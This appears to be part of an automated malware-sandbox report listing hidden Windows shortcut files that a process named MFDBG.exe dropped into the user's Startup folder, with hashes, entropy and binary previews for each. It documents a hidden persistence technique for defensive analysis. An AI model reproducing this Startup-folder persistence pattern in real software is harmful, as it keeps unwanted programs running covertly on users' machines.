File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923417158940038
Encrypted:	false
SSDEEP:	24:86Bf/8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84MEvZ0yRO7DLO2zdxdRd1kyg
MD5:	31F5D21AE49ED94C797BCB7CD144559E
SHA1:	F263D6871F4A9EF026B20883D3F92CBC3F1AD28A
SHA-256:	D6E1008A06EA1A876072FD0DE98F72EF3EEA7B00D3BFCBC4EF16C68E2D21E3BF
SHA-512:	204ADA1FF12FB5A94D72F2266D0EC157AFD8E3A0C73F22C803A94D7F7181A7BC0628E597F4BB6A2633A7E622E24641C60C1B9307C75FFF33971D9C55530FB580
Malicious:	false
Preview:	L..................F....".......d.....\Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....IRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_31a0135710cf4b2fa0d72d5daacd26f3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922487595197454
Encrypted:	false
SSDEEP:	24:80Bf048EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8a89EvZ0yRO7DLO2zdxdRd1kyg
MD5:	235EE13E07585F0F9F200D90E27F73F3
SHA1:	557C10053F73FC092D54E529004D8C1C3FB4717C
SHA-256:	E06FD99C83CAC4DFA4A24354953A2E0F7A029BD4F86C4C9F14D49BC09E36B34D
SHA-512:	21BD834ACD21DFEE04C432A1200A53E98812A1E94E99A60FF2D32E1A7029C0BDD001C262E9EECDA792FDC48442FC11BF6E88C8500B214AE212EE5A028DC4FC3B
Malicious:	false
Preview:	L..................F....".......d....l.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...X...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_31b320fcfe0249259c538a0c1c850df0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:52 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925662594782951
Encrypted:	false
SSDEEP:	24:8EaTBfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8tsEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D89D9159EC7B6C6739791C0D2563E07E
SHA1:	9071579172E75F3472274E8596F04188307AE36A
SHA-256:	49B3C692B48B20A32B9F72933FC20061501CECFE24F858C2392A691A24E9D207
SHA-512:	72DEDA6C56F5853D6BC63E87804F3F447DF4C06B0F22EEE8FCE752C749A43EA60FE410A730786B92AC4D0974B0EF81378C32F6E97029A2555367CAC28B62A475
Malicious:	false
Preview:	L..................F....".......d......<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....z<d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_31c840a66c0847ada49ec5a24154fd25.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92256623188837
Encrypted:	false
SSDEEP:	24:8NPQBfTf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NPeoEvZ0yRO7DLO2zdxdRd1kyg
MD5:	93A1D0E2FC6E151F100A31BED29A72C5
SHA1:	1FB5439DA9114994168A7709FD368C6A4742DE61
SHA-256:	7C0E967A2AAD9B118F970EA66D71D82CA42B5BA1AD2480515CD939D6C967B274
SHA-512:	60DD62AB09B3FEA5AE47D75462476EC20C4C53559DB16A8184B2996A9AFA6035558BBC2546B0EEB3DAFE3F1D4ADB1251DE4225E61BFF7F16996F9D987F85FD38
Malicious:	false
Preview:	L..................F....".......d......\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...M..[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_31dcb974a5324a8fbebc633cece0d9af.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.910526831556501
Encrypted:	false
SSDEEP:	24:8RBf38EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8rEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B6504C15BA29C99D83F39E709A7DCE8C
SHA1:	D4A7325900825A018FEFA03E55CA8DD858AB7232
SHA-256:	7E71136CA7269371B51BB7C21FFAE385FD8585355AA297BD0485CEA64B82AD3D
SHA-512:	9D32048820453D0A63591D5C8596D85FB8153FA2AF5FB15CD43C0CA6962E5FC7BD7AD107318AB8781A7E4C7F6664BB4D6B07FF59966FC26D031BA492856DD6E7
Malicious:	false
Preview:	L..................F....".......d....E\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....9\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_31e18ed0470f42538adb897bd0ba4a22.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9121708824836885
Encrypted:	false
SSDEEP:	24:8gBfQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8u9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	0A6839DE0A46931864D2D9638A9620A7
SHA1:	93486AFF21CB16DE54AC96F0E90EB8A698C837FB
SHA-256:	4FFCDCB5F2BBA455C013AA247EFD0F4B1D4FD541E392C4F6A4FEF86E15EB75B3
SHA-512:	B0BB8F312EE795F64D4018880F5B0BDECF635085FC2960FC349DEF498B122F85F95D20FA34A98BFA73C0A8E4068B36971BC64470AEFC2FB98995E05D9FD3E722
Malicious:	false
Preview:	L..................F....".......d...2...d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...2...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_321e09d47d76471ba25696f79c68308d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92063461065794
Encrypted:	false
SSDEEP:	24:8yBfn+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8gLEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F22B3B325276A577B3D6B97F20568685
SHA1:	745BDB7E959879E5090ACD88A1988CAE953062D8
SHA-256:	7FA4FDA9433BE274332100791AE6E59FD102CCC764108ABEBB93C786A1AB2EDF
SHA-512:	21F97DF1B79099D42088817D17E5C019732F7CD83696CD1CC96ED03FA8F9D3D3ABDBCF0A5AC1A7910D22F87687EA341BC26CC994D8DCC7AB3EDCD2A403209CE2
Malicious:	false
Preview:	L..................F....".......d...v:.:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....u.9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_327b3ce9535747efb2a68d2d5427ac22.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:01 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921910986301671
Encrypted:	false
SSDEEP:	24:8UBfrp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86yEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2DD1D9BEB6812CBC9CD16C974214D857
SHA1:	F4611C5C723161C9ABCFA9F9FB23D281C8C6E8F4
SHA-256:	21A08DCF96CCA2216D47AA8E5DD303FD385F233130AF784A69B6D94C7C187A55
SHA-512:	5E94AACA07261DA749910F46C456B6D2A8C0C3D58357F8FE43F6BE7A20D9C2378183E60ADA5FC094D0896E00D745AD230A728D9F94DFA5C6B431C57ED25A847B
Malicious:	false
Preview:	L..................F....".......d..."\".d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...{...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_329c1bce5ecc419e85564291b3c2664a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:00 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917181843324414
Encrypted:	false
SSDEEP:	24:84Bfo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:82FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CD21F5C24E556A82E08A5A3AD68FD485
SHA1:	86B62D82A1A185C706BAE7A266A6E81A256DC6C3
SHA-256:	169251CDE34F8C969890F354C8CFEB6EFCF938DC8F8362D2FA0A1AC77D4F8288
SHA-512:	07F7B8F8EFE256E24D43B49300073C1BE6BD07EBC44C3FA06A4EF0B3E742632B0223E111DC47C8DD2FF4178AAC81AC83072A1320E3008A9AE15A9B3AA6EA9D1D
Malicious:	false
Preview:	L..................F....".......d...-8..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...-8..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_32a771c4b8ba4aaca08a780459678c06.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92251554183103
Encrypted:	false
SSDEEP:	24:8EBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8qPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5C9E301735B232F518F183AAF05AECF2
SHA1:	FF502097C1E119450946F0B4C2415CE8011401E2
SHA-256:	9CABB34BE6DEF12765ED151F2770441CF6812258C9FD9F094FF7DA6A902B6CCA
SHA-512:	AA41EA3D42028C8E08803FA03940396718701B9A9A9DEA0C5280D413E1F740D727A123B9E4D2371F23D9A2628566CD9B691714CEDF574094E85706DDAA26D6A1
Malicious:	false
Preview:	L..................F....".......d......&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_32fb5e1915b64ce9b10b3ce066c7433f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921506513612769
Encrypted:	false
SSDEEP:	24:8iBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8QPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	69A3497CEECA6D5BDB742B6D33DEB5A6
SHA1:	54867DECD5124D8B46D9FD61C7EEC493D9D2E5DF
SHA-256:	B128C03EC12003A48E82A4D1E52E9BAEDC16F7F11E48708E5F8753E535F7C347
SHA-512:	9D688DF7161343F998513B99E80CE68BFAC4005C0B320B545072AC926DF2BFB13505EEA5FEF3ED514D5C479082C3861B1F0F174E178AAB0A4E10B9B3E101C3AA
Malicious:	false
Preview:	L..................F....".......d....Z.&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_33019e8cf42748649f1f3ffa83db429f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929493886012552
Encrypted:	false
SSDEEP:	24:8QBfLf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8eQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DABC02062F4BAB7A2C52A95E31C415F6
SHA1:	09471CAD2EF6F8B404667C7F1C4C4B9CE26815BF
SHA-256:	640744F8304E4E6D5F422ABA7FA7841B54A19257032B4DBF4A3029D1DA2C8DA8
SHA-512:	D526F71D1451703C539492200A8D05161168CEC45CF42E2BAD3C4600D627E493CBFF0E0E429A4CC1C160C4D61821F814B1EFD223E179A957BD9280F6AA497D3A
Malicious:	false
Preview:	L..................F....".......d...}..[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3354f9313b5f4aa4bbdd9b81fe30cb29.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919807790453352
Encrypted:	false
SSDEEP:	24:8VQBfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8o2FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F8C7953505F8709F9D1EC2D633EA17EC
SHA1:	73DE9D8A69E2E6B25E34AD3840504E47655F2D20
SHA-256:	A98795EA240DE27FB4F9D58C34FF2612292F73E2F2C8D528F96E0D8B0B352A4B
SHA-512:	8C27904FEFA6D327309C4734F79585613D4419702247441829728265D65D95739AEFB99FD973450B73FD3F8BDB357EE68A0898C69F485F2119E6B30FC812A750
Malicious:	false
Preview:	L..................F....".......d...(..Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3356faa26ec946bfbdf809cb586a83df.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
